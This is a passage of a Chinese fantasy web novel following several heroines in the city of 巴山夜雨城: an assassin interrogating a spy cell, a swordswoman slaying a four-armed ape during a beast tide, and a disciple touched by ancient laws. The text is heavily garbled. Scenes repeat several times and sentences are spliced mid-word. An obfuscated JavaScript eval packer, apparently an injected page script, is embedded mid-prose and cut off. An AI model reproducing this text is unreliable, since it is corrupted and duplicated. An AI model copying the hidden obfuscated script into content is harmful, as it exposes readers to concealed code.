人而噬的猛兽。“你们这个‘云家’,为何与彩羽楼勾结?真正的云为衫,在哪里?”唐婉单刀直入。云海刚想顶嘴,寒光再闪,飞刀没入他的咽喉。他双目圆瞪,倒地气绝。其余三人骇然欲起。“嘘。”唐婉竖起一根手指,“别考验我的耐心。”大长老厉声道:“老二!你想害死所有人吗?说出尊使来历,我们都得死!”寒光又一次闪过,大长老胸口插上了第二柄飞刀。唐婉盯着剩下的云青,目光如冰刃:“不说,死。说出来,或许有条活路。”云青看着同伴惨死,心理防线彻底崩溃,颤声道:“是血薇大人麾下的‘紫魅’!我们只是奉命在此经营,收集情报,确保云为衫这个身份在巴山夜雨城的安全和必要时发挥作用。其他的,我们真的不知道!”原来如此。这个云家,竟是彩羽楼数年前就布下的暗桩。唐婉看着他们连滚爬爬逃离的背影,没有追击。杀几个小卒无益,留下他们,反而能让彩羽楼暂时摸不清她的真实意图。她清理掉自己的痕迹,如同幽灵般融入了外面的夜雨之中。混沌神像 在恒古神殿,混沌万界山这里并非真实山脉,而是一处连接诸多试炼秘境的奇异小世界碎片。空间结构极不稳定,光怪陆离。白浅跟在几位内门师兄师姐身后,踏入这片区域。脚下是亘古存在的暗色岩石,远处天际可见扭曲的空间裂隙和浮空的山峦碎片。 最引人注目的,是入口广场中央那尊高达数百丈的女性神像。神像以非金非玉的未知材质雕成,容颜绝美却威严无边,身着星辰法袍,单手按着一柄未出鞘的长剑,另一手自然垂落。她深邃的眼眸眺望着混沌深处,仿佛在凝视着万千世界的生灭。好可怕的威压!仅仅是一尊石像残留的一丝意念,就有如此神异。真不知这位初代殿主本尊,修为到了何等境界?白浅心中暗凛,连忙收敛心神,体内冰晶核心异动。她听说,唯有修为达到圣者层次,才能剥离一丝本命神念,寄托于圣像之中,长存世间。她的目光,不由自主地投向神像发髻之上的星辰冠冕。冠冕中央,镶嵌着一颗缓缓旋转的暗金色轮盘。轮盘结构复杂,层层嵌套,核心处一点银白光芒恒定闪耀,散发出令空间扭曲的波动。那是传说中的恒古神殿镇殿圣器太虚轮回盘的投影!正是借由这等空间至宝的力量,混沌万界山才能稳定存在。而她要前往的“虚空残境”,其入口通道的稳定,也离不开此物的加持。“白师妹,别发呆了。‘虚空残境’的通道即将开启!”领队的师兄催促道。 白浅收回目光,压下心中因古卷武魂与神像产生的微妙共鸣,快步跟上队伍。她有种预感,这次秘境之行,或许会比想象中更不寻常。砺剑谷·兽潮围城巴山夜雨城,砺剑谷。 此处是鹤翔区下辖的一处重要据点,距离苍茫山脉外围仅数十里。此刻,这里正面临着建谷以来最大的危机。大雪初停,寒风如刀。黎明前最深的黑暗笼罩山谷,唯有防线木墙上插着的火把在风中挣扎燃烧。空气中弥漫着浓烈的血腥与焦臭味。陆青烟一身月白劲装已多处染血破损,惊鸿剑斜指地面,滴落着粘稠的兽血。她站在防线后一处临时垒起的石台上,容颜清丽依旧,却布满烟尘与疲惫。唯有一双眸子,在火光映照下亮得惊人,冷静地扫视着防线外黑暗涌动的兽潮。“嗷呜!”一声充满威严的咆哮,骤然从兽潮后方传来!数百头低阶妖兽同时身体一僵,随即赤红着双眼,如同黑色潮水,朝着摇摇欲坠的防线发起了不计代价的集团冲锋!“是指挥型高阶妖物!”老兵骇然惊呼。 陆青烟瞳孔骤缩,目光瞬间锁定兽潮后方那里,赫然矗立着一头人立而起、身高过丈、浑身覆盖着暗青色鳞甲的狰狞魔猿!四臂青鳞猿,三阶巅峰妖兽!“所有远程攻击,覆盖射击!符箓不要省!”陆青烟清越的嗓音穿透喧嚣,“近战组,补上缺口!”她的命令迅速被传递。稀稀拉拉的火球、冰锥和符箓光芒射向兽群,但妖兽实在太多,防线压力陡增。“大人!东区木栅破了!”西边顶不住了!”惨叫声、怒吼声、兵刃撞击声混成一片。一只喷火蜥的火球在人群中炸开,瞬间点燃了两名武者。陆青烟知道,再不斩首,防线顷刻即破。“李校尉!”她看向身旁一名浑身浴血却死战不退的城卫军校尉,“你坐镇指挥,务必再坚持一炷香!”“陆姑娘!太危险了!”“唯有斩首,方有一线生机!”陆青烟语气斩钉截铁,回头看向自己带来的两名雨韵剑宗内门好手,“王师兄,赵师弟,随我来!”话音未落,她已纵身跃出工事,惊鸿剑青光暴涨,化作一道撕裂黑暗的惊鸿,逆着兽潮,直扑那头四臂青鳞猿!王、赵二人虽面色发白,但深知别无选择,怒吼一声,紧随其后。三人如同三柄尖刀,硬生生在狂暴的兽潮中撕开一道血路。那四臂青鳞猿见居然有人类敢主动袭来,眼中猩红光芒大盛,仰天发出震怒咆哮,四条巨臂狠狠一拍地面,带着腥风扑下!“轰!”战斗瞬间白热化。陆青烟将《青雨惊虹诀》催动到极致,剑光如雨,专攻魔猿关节、眼鼻等脆弱之处。王、赵二人也从旁竭力牵制。然而,魔猿鳞甲坚固,力大无穷,四条手臂挥舞开来,仿佛四面巨盾。陆青烟剑气难伤,反被逼得险象环生。“砰!” 魔猿一条手臂以不可思议的角度砸来,陆青烟勉强横剑格挡,虎口崩裂,惊鸿剑险些脱手,整个人向后踉跄倒飞,喷出一口鲜血。 “陆师妹!”王师兄惊叫,拼命抢攻,却被魔猿另一条手臂扫中,胸骨塌陷,吐血倒地。 难道一切都要结束在这里?陆青烟眼中闪过一抹决然。她想起临行前姑姑陆徽的叮嘱:“青烟,巴山夜雨城重实绩,更重绝境中的勇气与实力。若事不可为,当以保全自身为要,但若有一线生机,便要让人看到你的价值。”现在的价值,就是斩杀这头魔猿! 她猛地从怀中掏出一个玉瓶,将仅剩的三颗猩红丹药——燃血逆脉丹全部倒入口中!狂暴的药力瞬间炸开,原本萎靡的地煞之气疯狂暴涨,带来经脉撕裂般的剧痛,但也赋予了她远超平时的力量。“惊鸿贯日!”她厉叱一声,将暴涨的全部力量,连同胸中一股不屈的傲气,尽数灌注于惊鸿剑中!剑身发出不堪重负的嗡鸣,清濛的雨意剑气骤然转化为一道凝练到极致、炽烈如朝阳初升的赤金色剑虹!与此同时,她袖中一枚陆徽赐予的保命剑符也被暗中引动,一道细微却凌厉无匹的透明剑气后发先至,精准地射向魔猿因挥舞手臂而暴露出的腋下要害!“噗!”剑符所化的透明剑气率先穿透鳞甲,入其腋下!魔猿剧痛,动作一滞。就是现在!赤金色剑虹贯穿了魔猿的咽喉!魔猿庞大的身躯轰然倒地,激起一片尘土。李校尉带着人狂奔而来,看到魔猿尸体和濒临昏迷的陆青烟,又惊又佩,连忙下令:“快!扶陆姑娘下去疗伤!打扫战场,救治伤员!立刻用传讯法阵,将此地战况,尤其是陆青烟姑娘临危受命、逆斩三阶巅峰兽王、挽救砺剑谷防线的功绩,详细禀报城主府!”陆青烟在被的渐望向了巴山夜雨城中心。这条用命搏来的功勋之路,终于,踏出了染血的第一步,立于窗前,听着心腹老仆的低声禀报。“城主,砺剑谷急报。陆青烟姑娘临危受命,斩杀四臂青鳞猿,力挽狂澜。鹤翔区主翔天云已上书请功。”“哦?”白望春嘴角掠过一丝几不可察的弧度,“看来这届的年轻人,倒是比想象中更有担当。”她顿了顿,目光投向窗外依旧淅沥的雨幕。“那个新收的义女,白为衫,这几日可还安分?”“回城主,白姑娘深居简出,只是在静心院中诵经祈福,为云家亡魂超度。只是?”老仆迟疑了一下,“只是今日清晨,静心院外发现了一枚紫色的羽毛,不知是何物。” “紫色羽毛?”白望春眼中闪过一丝寒光,“彩羽楼的标记么?看来,这雨,是越下越大了。”真与假,善与恶,复仇与守护 所有的线,都在这里绷紧,只等那最后的一刀落下。 那是传说中的恒古神殿镇殿圣器太虚轮回盘的投影!正是借由这等空间至宝的力量,混沌万界山才能稳定存在。而她要前往的“虚空残境”,其入口通道的稳定,也离不开此物的加持。 “白师妹,别发呆了。‘虚空残境’的通道即将开启!”领队的师兄催促道。 白浅收回目光,压下心中因古卷武魂与神像产生的微妙共鸣,快步跟上队伍。她有种预感,这次秘境之行,或许会比想象中更不寻巴山夜雨城,砺剑谷。 此处是鹤翔区下辖的一处重要据点,距离苍茫山脉外围仅数十里。此刻,这里正面临着建谷以来最大的危机。 大雪初停,寒风如刀。 黎明前最深的黑暗笼罩山谷,唯有防线木墙上插着的火把在风中挣扎燃烧。空气中弥漫着浓烈的血腥与焦臭味。 陆青烟一身月白劲装已多处染血破损,惊鸿剑斜指地面,滴落着粘稠的兽血。她站在防线后一处临时垒起的石台上,容颜清丽依旧,却布满烟尘与疲惫。唯有一双眸子,在火光映照下亮得惊人,冷静地扫视着防线外黑暗涌动的兽潮。 “嗷呜!” 一声充满威严的咆哮,骤然从兽潮后方来! 数百头低阶妖兽同时身体一僵,随即赤红着双眼,如同黑色潮水,朝着摇摇欲坠的防发起了不计代价的集团冲锋! “是指挥型高阶妖物!”老兵骇然惊呼。 陆青烟瞳孔骤缩,目光瞬间锁定兽潮后方那里,赫然矗立着一头人立而起、身高过丈、浑身覆盖着暗青色鳞甲的狰狞魔猿!四臂青鳞猿,三阶巅峰妖兽! “所有远程攻击,覆盖射击!符箓不要省!”陆青烟清越的嗓音穿透喧嚣,“近战组,补上缺口!” 她的命令迅速被传递。稀稀拉拉的火球、冰锥和符箓光芒射向兽群,但妖兽实在太多,防线压力陡增。 “大人!东区木栅破了!”西边顶不住了!” 惨叫声、怒吼声、兵刃撞击声混成一片。一只喷火蜥的火球在人群中炸开,瞬间点燃了两名武者。 陆青烟知道,再不斩首,防线顷刻即破。 “李校尉!”她看向身旁一名浑身浴血却死战不退的城卫军校尉,“你坐镇指挥,务必再坚持一炷香! “陆姑娘!太危险话音未落,她暴涨,化作一道撕裂黑暗的惊鸿,逆着兽潮,直扑那头四臂来,青烟剑气难伤反被逼得险象环生。难道一切都要结束在这里?陆青烟眼中闪过一抹决然。她想起临行前姑姑陆徽的叮 “惊鸿贯日量同引厉无匹的透明剑气后发先至,精准地射向魔猿因挥舞手臂而暴露出的腋下要害!“噗!猿庞大的身躯轰然倒地。 李校尉带着人狂奔而来,看到魔猿尸体和濒临昏迷的陆青烟,又惊又佩,连忙下令:“快!扶陆姑娘下去疗伤!打扫战场,救治伤员!立刻用传讯法阵,将此地战况,尤其是陆青烟姑娘临危受命、逆斩三阶巅峰兽王、挽救砺剑谷防线的功绩,详细禀报城主府!” 陆青烟在被人搀扶起来时,模糊的视线穿透渐亮的晨光,望向了巴山夜雨城中心。这条用命搏来的功勋之路,终于,踏出了染血的第一步。巴山夜雨城,城主府。白望春一袭素袍,立于窗前,听着心腹老仆的低声禀报。“城主,砺剑谷急报。陆青烟姑娘临危受命,斩杀四臂青鳞猿,力挽狂澜。鹤翔区主翔天云已上书请功。”哦?”白望春嘴角掠过一丝几不可察的弧度,“看来这届的年轻人,倒是比想象中更有担当。”她顿了顿,目光投向窗外依旧淅沥的雨幕。“那个新收的义女,白为衫,这几日可还安分?”“回城主,白姑娘深居简出,只是在静心院中诵经祈福,为云家亡魂超度。只是”老仆迟疑了一下,“只是今日清晨,静心院巴山夜雨城,徵水区,废弃的云家别院。夜雨如注,敲打着窗棂。唐婉一身玄色紧身衣,脸上蒙着特制的面纱,只露出一双在烛光下平静得令人心悸的眼眸。她手中把玩着一枚刚从梁上拔下的柳叶镖,镖身幽蓝,在昏黄的光线下泛着不祥的光泽。 她体内的“蚀骨瘴”之毒,已在三日前彻底拔除。那一日,在古剑冢取得“寒髓”,又在秦月娆的暗中帮助下,她于城外一处隐秘洞穴中,将“九幽玄参”与“寒髓”以《白帝清霜诀》的极寒真火炼化,强行逼出了那阴毒的瘴气。过程痛苦不堪,几乎让她神魂俱裂,但好在,结果是好的。 此刻,她不仅毒伤尽复,修为竟因祸得福,在生死边缘又精进了半步。但代价是,她与秦月娆的交易也更进一步——七月初七,断魂崖,她不仅要替秦月娆杀“魑”,还要取来“幽冥血令”。“你们是谁?”室内,四名被逼至墙角的云家管事瑟瑟发抖。为首那个叫云成的男人强作镇定,声音却带着抑制不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“坐下说话。”唐婉指了指室内的木凳。四人战战兢兢地坐下,仿佛面对的不是一个人,而是一只择人而噬的猛兽。“你们这个‘云家’,为何与彩羽楼勾结?真正的云为衫,在哪里?”唐婉单刀直入。云海刚想顶嘴,寒光再闪,飞刀没入他的咽喉。他双目圆瞪,倒地气绝。其余三人骇然欲起。“嘘。”唐婉竖起一根手指,“别考验我的耐心。”大长老厉声道:“老二!你想害死所有人吗?说出尊使来历,我们都得死!”寒光又一次闪过,大长老胸口插上了第二柄飞刀。唐婉盯着剩下的云青,目光如冰刃:“不说,死。说出来,或许有条活路。”云青看着同伴惨死,心理防线彻底崩溃,颤声道:“是血薇大人麾下的‘紫魅’!我们只是奉命在此经营,收集情报,确保云为衫这个身份在巴山夜雨城的安全和必要时发挥作用。其他的,我们真的不知道!”原来如此。这个云家,竟是彩羽楼数年前就布下的暗桩。唐婉看着他们连滚爬爬逃离的背影,没有追击。杀几个小卒无益,留下他们,反而能让彩羽楼暂时摸不清她的真实意图。她清理掉自己的痕迹,如同幽灵般融入了外面的夜雨之中。混沌神像·虚空残境恒古神殿,混沌万界山这里并非真实山脉,而是一处连接诸多试炼秘境的奇异小世界碎片。空间结构极不稳定,光怪陆离。白浅跟在几位内门师兄师姐身后,踏入这片区域。脚下是亘古存在的暗色岩石,远处天际可见扭曲的空间裂隙和浮空的山峦碎片。最引人注目的,是入口广场中央那尊高达数百丈的女性神像。神像以非金非玉的未知材质雕成,容颜绝美却威严无边,身着星辰法袍,单手按着一柄未出鞘的长剑,另一手自然垂落。她深邃的眼眸眺望着混沌深处,仿佛在凝视着万千世界的生灭。可怕的威压!仅仅是一尊石像残留的一丝意念,就有如此神异。真不知这位初代殿主本尊,修为到了何等境界?白浅心中暗凛,连忙收敛心神,压□□内冰晶核心的异动。她听说,唯有修为达到圣者层次,才能剥离一丝本命神念,寄托于圣像之中,长存世间。她的目光,不由自主地投向神像发髻之上的星辰冠冕。冠冕中央,镶嵌着一颗缓缓旋转的暗金色轮盘。轮盘结构复杂,层层嵌套,核心处一点银白光芒恒定闪耀,散发出令空间扭曲的波动。那是传说中的恒古神殿镇殿圣器太虚轮回盘的投影!正是借由这等空间至宝的力量,混沌万界山才能稳定存在。而她要前往的“虚空残境”,其入口通道的稳定,也离不开此物的加持。“白师妹,别发呆了。‘虚空残境’的通道即将开启!”领队的师兄催促道。白浅收回目光,压下心中因古卷武魂与神像产生的微妙共鸣,快步跟上队伍。她有种预感,这次秘境之行,或许会比想象中更不寻常。·砺剑谷·兽潮围城巴山夜雨城,砺剑谷。此处是鹤翔区下辖的一处重要据点,距离苍茫山脉外围仅数十里。此刻,这里正面临着建谷以来最大的危机。大雪初停,寒风如刀。黎明前最深的黑暗笼罩山谷,唯有防线木墙上插着的火把在风中挣扎燃烧。空气中弥漫着浓烈的血腥与焦臭味。陆青烟一身月白劲装已多处染血破损,惊鸿剑斜指地面,滴落着粘稠的兽血。她站在防线后一处临时垒起的石台上,容颜清丽依旧,却布满烟尘与疲惫。唯有一双眸子,在火光映照下亮得惊人,冷静地扫视着防线外黑暗涌动的兽潮。“嗷呜!”一声充满威严的咆哮,骤然从兽潮后方传来!数百头低阶妖兽同时身体一僵,随即赤红着双眼,如同黑色潮水,朝着摇摇欲坠的防线发起了不计代价的集团冲锋!“是指挥型高阶妖物!”老兵骇然惊呼。陆青烟瞳孔骤缩,目光瞬间锁定兽潮后方——那里,赫然矗立着一头人立而起、身高过丈、浑身覆盖着暗青色鳞甲的狰狞魔猿!四臂青鳞猿,三阶巅峰妖兽!“所有远程攻击,覆盖射击!符箓不要省!”陆青烟清越的嗓音穿透喧嚣,“近战组,补上缺口!”她的命令迅速被传递。稀稀拉拉的火球、冰锥和符箓光芒射向兽群,但妖兽实在太多,防线压力陡增。“大人!东区木栅破了!”西边顶不住了!”惨叫声、怒吼声、兵刃撞击声混成一片。一只喷火蜥的火球在人群中炸开,瞬间点燃了两名武者。陆青烟知道,再不斩首,防线顷刻即破“李校尉!”她看向身旁一名浑身浴血却死战不退的城卫军校尉,“你坐镇指挥,务必再坚持一炷香!”陆姑娘!太危险了!”“唯有斩首,方有一线生机!”陆青烟语气斩钉截铁,回头看向自己带来的两名雨韵剑宗内门好手,“王师兄,赵师弟,随我来!” 话音未落,她已纵身跃出工事,惊鸿剑青光暴涨,化作一道撕裂黑暗的惊鸿,逆着兽潮,直扑那头四臂青鳞猿!王、赵二人虽面色发白,但深知别无选择,怒吼一声,紧随其三人如同三柄尖刀,硬生生在狂暴的兽潮中撕开一道血路。那四臂青鳞猿见居然有人类敢主动袭来,眼中猩红光芒大盛,仰天发出震怒咆哮,四条巨臂狠狠一拍地面,带着腥风扑下!“轰!”战斗瞬间白热化。陆青烟将《青雨惊虹诀》催动到极致,剑光如雨,专攻魔猿关节、眼鼻等脆弱之处。王、赵二人也从旁竭力牵制。然而,魔猿鳞甲坚固,力大无穷,四条手挥舞开来,仿佛四面巨盾。陆青烟剑气难伤,反被逼得险象环生。“砰!” 魔猿一条手臂以不可思议的角度砸来,陆青烟勉强横剑格挡,虎口崩裂,惊鸿剑险些脱手,整个人向后踉跄倒飞,喷出一口鲜血。 “陆师妹!”王师兄惊叫,拼命抢攻,却被魔猿另一条手臂扫中,胸骨塌陷,吐血倒地。 难道一切都要结束在这里? 陆青烟眼中闪过一抹决然。她想起临行前姑姑陆徽的叮嘱:“青烟,巴山夜雨城重实绩,更重绝境中的勇气与实力。若事不可为,当以保全自身为要,但若有一线生机,便要让人看到你的价值。” 现在的价值,就是斩杀这头魔猿! 她猛地从怀中掏出一个玉瓶,将仅剩的三颗猩红丹药——燃血逆脉丹全部倒入口中!狂暴的药力瞬间炸开,原本萎靡的地煞之气疯狂暴涨,带来经脉撕裂般的剧痛,但也赋予了她远超平时的力量! “惊鸿贯日!” 她厉叱一声,将暴涨的全部力量,连同胸中一股不屈的傲气,尽数灌注于惊鸿剑中!剑身发出不堪重负的嗡鸣,清濛的雨意剑气骤然转化为一道凝练到极致、炽烈如朝阳初升的赤金色剑虹! 与此同时,她袖中一枚陆徽赐予的保命剑符也被暗中引动,一道细微却凌厉无匹的透明剑气后发先至,精准地射向魔猿因挥舞手臂而暴露出的腋下要害! 噗!” 剑符所化的透明剑气率先穿透鳞甲,狠狠扎入其腋下!魔猿剧痛,动作一滞。 就是现在! 赤金色剑虹贯穿了魔猿的咽喉! 魔猿庞大的身躯轰然倒地,激起一片尘土。 李校尉带着人狂奔而来,看到魔猿尸体和濒临昏迷的陆青烟,又惊又佩,连忙下令:“快!扶陆姑娘下去疗伤!打扫战场,救治伤员!立刻用传讯法阵,将此地战况,尤其是陆青烟姑娘临危受命、逆斩三阶巅峰兽王、挽救砺剑谷防线的功绩,详细禀报城主府!” 陆青烟在被人搀扶起来时,模糊的视线穿透渐亮的晨光,望向了巴山夜雨城中心。 这条用命搏来的功勋之路,终于,踏出了染血的第一步。暗流交汇巴山夜雨城,城主府。白望春一袭素袍,立于窗前,听着心腹老仆的低声禀报。“城主,砺剑谷急报。陆青烟姑娘临危受命,斩杀四臂青鳞猿,力挽狂澜。鹤翔区主翔天云已上书请功。”“哦?”白望春嘴角掠过一丝几不可察的弧度,“看来这届的年轻人,倒是比想象中更有担当。” 她顿了顿,目光投向窗外依旧淅沥的雨幕。 “那个新收的义女,白为衫,这几日可还安分?”回城主,白姑娘深居简出,只是在静心院中诵经祈福,为云家亡魂超度。只是……”老仆迟疑了一下,“只是今日清晨,静心院外发现了一枚紫色的羽毛,不知是何物。”“紫色羽毛?”白望春眼中闪过一丝寒光,“彩羽楼的标记么?看来,这雨,是越下越大了。”惜春之年,砺剑试心。真与假,善与恶,复仇与守护所有的线,都在这里绷紧,只等那最后的一刀落下。 外发现了一枚紫色的羽毛,不知是何物。”“紫色羽毛?”白望春眼中闪过一丝寒光,“彩羽楼的标记么?看来,这雨,是越下越大了。”惜春之年,砺剑试心。真与假,善与恶,复仇与守护。所有的线,都在这里绷紧,只等那最后的一刀落下。 45. 道痕映世风波起 虚空残境深处这里没有上下左右,没有时间的流逝,只有永恒的黑暗与静止的空间碎片。 白浅盘膝坐于一块悬浮的陨石核心。四周是静谧到极致的死寂,偶尔有一道无声湮灭的空间裂缝划过,释放出令化境段强者都会魂飞魄散的毁灭气息。 她已在此枯坐七日。 并非修炼,而是试图以心神沟通体内那枚愈发难以驾驭的冰晶核心——那所谓的古卷武魂本源。她能感觉到,这块晶体就像一颗沉睡的心脏,每一次微弱的搏动,都与这方小世界的空间法则产生着微妙的共鸣。 “就是此刻。”白浅深吸一口气,将一缕精纯无比的《白帝清霜诀》它们散发出神圣、浩瀚、令人只想顶礼膜拜的古老气息,仿佛跨越万古,于此一瞬重现。 “法则显圣,纪元回响。” 白浅仰头,清澈的冰眸中倒映着这不可思议的景象,心中震撼无以复加。她能感觉到,头顶那道光柱与重重虚影,与自己的冰晶核心、与《白帝清霜诀》深处那哗!” 未等她细思,那无数古老的法则虚影闪烁着不同微光的、蕴含道韵的法则光粒。这些光粒无视了一切空间阻隔,如同百川归海,疯狂地没入她的眉心,直抵丹田深处的冰晶核心! “轰隆!” 白浅只觉得灵魂深处仿佛有什么枷锁被炸开。冰晶核心以前所未有的速度与亮度旋转起来,疯狂吞噬、融合着这些古老的光粒。核心内部,那些原本模糊的纹路开始变得清晰、延伸,甚至隐隐勾勒出类似天空中那些古老虚影的轮廓印记! 一种对空间、对“寒冷”、乃至对“存在”本身更深层次的理解,汹涌澎湃地涌入她的意识。 她的修为并未暴涨,但生命本质、对法则的亲和力、尤其是对空间之力的掌控层级,正在发生某种根本性的跃迁!丹田内,那原本就远超同阶的地煞气湖壁垒上,开始浮现出极其淡薄、却真实不虚的古老纹印,仿佛为她打下了直达大道的基石。这是母亲叶轻眉曾提及过的‘道基铭刻’?还是恒古神殿记载中,唯有触动天地核心法则的绝世机缘才会引发的‘纪元赐福’?”白浅压下沸腾的气血与明悟,强迫自己冷静。她知道,这异象惊天动地,恐怕已惊动了整个虚空残境,甚至恒古神殿的高层!灵犀预警·茶楼暗战巴山夜雨城,徵水区,听雨茶楼对面暗巷。唐婉正屏息凝神,潜伏于阴影中,死死盯着对面那座看似普通的茶楼。她已在此监视两个时辰,试图找出彩羽楼暗桩“紫魅”的蛛丝马迹。袖中的毒针与掌心的药粉已准备就绪,只要对方稍有异动,更让她心脏骤停的是,在这幻象深处,她还“瞥见”了一闪而逝的、属于彩羽楼最高级“魉“噗!”唐婉闷哼一声,嘴角溢出一缕鲜血。强的预得假,那绝非普通幻觉。那光柱虚影,那冰冷高贵的意念,还有彩羽楼的最高杀令印记为何会与那异象产生关联? 彩羽楼此次在巴山夜雨城的大动作,难道不仅仅是为了复仇,而是为了某种更可怕的东西?她面前案几上,那柄静静横放的惊鸿剑,毫无征兆地自行发出清越悠长的剑鸣! 剑身无风自动,微微震颤,其上蕴含的雨韵剑意仿佛被什么东西唤醒、激活,散发出蒙蒙的青光。与此同时,陆青烟感到自己刚刚稳固的剑心,以及因修炼《青雨惊虹诀》而与巴山夜雨城地煞水脉产生的那一丝微弱联系,同时剧烈共振起来!她猛地抬头,无需出帐,剑心通明之下,她“感知”到:并非实际景象,而是一种弥漫在巴山夜雨城乃至更广阔天地间的“气运”与“法则”,产生了奇异的波动。这波动浩瀚、古老、神圣,让她手中的惊鸿剑与之共鸣,也让整座巴山夜雨城赖以存在的庞大地煞灵脉网络,泛起了微不可查却真实存在的涟漪。她仿佛“听”到了城池在低语,山峦在呼吸,水脉在欢腾。似乎有什么契合这座城市古老本源的力量被引动了。 而这力量的源头方向,冥冥中指向东北方——恒古神殿与苍茫山脉的方向!“这是山河气运交感?还是古老的守护契约被触动?”青烟精通雨韵剑宗典籍,知晓一些关于巴山夜雨城与周边山川地势签订古老灵契、与某些至高存在气运相连的传说。眼前这绝非寻常天地异变,而是涉及根源的波动。“如此异动,城主府和几位区主定然已察觉。这对我呈报功勋、乃至对‘收徒大典’的最终走向,会产生何种影响?”陆青烟心思电转,握紧了剑柄。这突如其来的天地共鸣,让她刚立的战功显得微不足道,但也可能成为一个更大的变数或机遇。“报!”一名传令兵疾驰而来,单膝跪地,声音带着激动与惶恐:“禀陆大人!城主府有令传到!城主有旨,因天地异动,关乎城运,原定三日后议封赏者之名录,已加急呈送城主案前!请大人即刻准备,明日入内城!”果然!异动直接影响了大典的进程!陆青烟深吸一口气,目光坚定。无论这“法则共鸣”源自何处,又将引发何等波澜,她已无退路。明日,她将踏入巴山夜雨城的权力核心。她收剑入鞘,剑鸣渐息,但心中的波澜却难以平静。她想起姑姑陆徽隐约提及的,关于她身世特殊、天赋异禀,或许与恒古神殿乃至某些更古老的存在渊源极深的话。 风暴前夕巴山夜雨城,城主府,观雨阁。依旧立于窗前,但她的身影却仿佛与整座城池融为一体。她面前的桌案上,摊开着三份密报。第一份,来自砺剑谷,详述了陆青烟临危斩将、力挽狂澜的功绩。第二份,来自徵水区,汇报了唐婉夜探云家别院、逼问出彩羽楼暗桩的情报。第三份,则来自恒古神殿方向,用最紧急的暗码写着:“虚空残境异动,法则显圣,疑似纪元赐福。涉事者,内门弟子白浅。”白望春伸出手,指尖轻轻敲击着桌面。三份密报,三个女子。陆青烟,忠勇,是巴山夜雨城的利剑。唐婉,诡谲,是搅动风云的变数。白浅,神秘,是连接古老纪元的桥梁。而此刻,在她脚下的静心院中,那个她新收的义女白为衫(云为衫),正跪坐在佛堂里,对着一尊小小的佛像,虔诚地祈祷。只是那低垂的眼眸深,却是一片冰冷的决绝。“恩人指令已至,时机将至,她袖中,一枚紫色的羽毛,正散发着幽幽的寒光。惜春之年,道痕显现。剑、毒、影,三条命运之线,因为这席卷天地的法则回响,正以惊人的速度,开始交汇、缠绕。一场关乎世界本源、纪元秘密与生死存亡的滔天巨浪,即将将这座巨城彻底淹没。巴山夜雨城,徵水区,废弃的云家别院。 夜雨如注,敲打着窗棂,也掩盖了院内深处的血腥气。 唐婉一身玄色紧身衣,脸上蒙着特制的面纱,只露出一双在烛光下平静得令人心悸的眼眸。她体内“蚀骨瘴”之毒,已在三日前彻底拔除。那一日,在古剑冢取得“寒髓”,又以《白帝清霜诀》的极寒真火炼化“九幽玄参”,强行逼出了那阴毒的瘴气。过程痛苦不堪,几乎让她神魂俱裂,但好在,结果是好的。此刻,她不仅毒伤尽复,修为竟因祸得福,在生死边缘又精进了半步。 她手中把玩着一枚刚从梁上拔下的柳叶镖,镖身幽蓝,在昏黄的光线下泛着不祥的光泽。 室内,四名被逼至墙角的云家管事瑟瑟发抖。他们本是云家覆灭后侥幸逃脱的漏网之鱼,却不知何时起,行踪已被人暗中盯上。 “你们是谁?”为首那个叫云成的男人强作镇定,声音却带着抑制不住的颤抖,“为何要袭击我们?” 唐婉眉头微挑,声音透过面纱,带着一丝慵懒的讥讽:“波涟漪区主没告诉你们,要留意一个用暗器和毒的女子么?” “唐婉?”云成和另外三人面面相觑,瞬间联想到了近期城中的传闻。那个在秋池剑阁附近反杀彩羽楼杀手的女子,据说修为不过笃行段中品。可刚才那一连串鬼魅般的身法,那精准到毫秒的用毒时机,完全超出了他们对“中品”修士的认知。 “没什么不可能的。”唐婉向前倾了倾身子,烛光在她眼中跳跃,“我就是你们背后主子,千方百计想弄清楚、甚至想除掉的人之一。今晚来,只是想问几个问题。” 脾气火爆的云海忍不住骂道:“小贱人!大爷我现在喊一声,你能走出这徵水区么?” 话音未落,一道幽光贴着他脸颊一闪而过,钉入了他身后的夯土墙。是一柄最普通的飞刀,尾羽还在微微颤动。 “我可以保证,在你喊出第一个字之前,它钉进你的喉咙。”唐婉语气平淡,仿佛在说一件与己无关的小事,“白天在流云巷,杀了我们几个暗哨的用毒高手,也是你吧?” 云成神色凝重,冷汗涔涔而下。他们中了散气香,一身地煞之气十不存一,根本不是眼前这女子的对手。 “坐下说话。”唐婉指了指室内的木凳。 四人战战兢兢地坐下,仿佛面对的不是一个人,而是一只择人而噬的猛兽。 “你们这个‘云家’,为何与彩羽楼勾结?真正的云为衫,在哪里?”唐婉单刀直入。 云海刚想顶嘴,寒光再闪,飞刀没入他的咽喉。他双目圆瞪,倒地气绝。 其余三人骇然欲起。 “嘘。”唐婉竖起一根手指,“别考验我的耐心。” 大长老厉声道:“老二!你想害死所有人吗?说出尊使来历,我们都得死!” 寒光又一次闪过,大长老胸口插上了第二柄飞刀。 唐婉盯着剩下的云青,目光如冰刃:“不说,死。说出来,或许有条活路。” 云青看着同伴惨死,心理防线彻底崩溃,颤声道:“是血薇大人麾下的‘紫魅’!我们只是奉命在此经营,收集情报,确保云为衫这个身份在巴山夜雨城的安全和必要时发挥作用。其他的,我们真的不知道!” 原来如此。 这个云家,竟是彩羽楼数年前就布下的暗桩。 唐婉看着他们连滚爬爬逃离的背影,没有追击。杀几个小卒无益,留下他们,反而能让彩羽楼暂时摸不清她的真实意图。她清理掉自己的痕迹,如同幽灵般融入了外面的夜雨之中。 混沌神像·虚空残境恒古神殿,混沌万界山。这里并非真实山脉,而是一处连接诸多试炼秘境的奇异小世界碎片。空间结构极不稳定,光怪陆离。 白浅跟在几位内门师兄师姐身后,踏入这片区域。脚下是亘古存在的暗色岩石,远处天际可见扭曲的空间裂隙和浮空的山峦碎片。 最引人注目的,是入口广场中央那尊高达数百丈的女性神像。神像以非金非玉的未知材质雕成,容颜绝美却威严无边,身着星辰法袍,单手按着一柄未出鞘的长剑,另一手自然垂落。她深邃的眼眸眺望着混沌深处,仿佛在凝视着万千世界的生灭。 好可怕的威压! 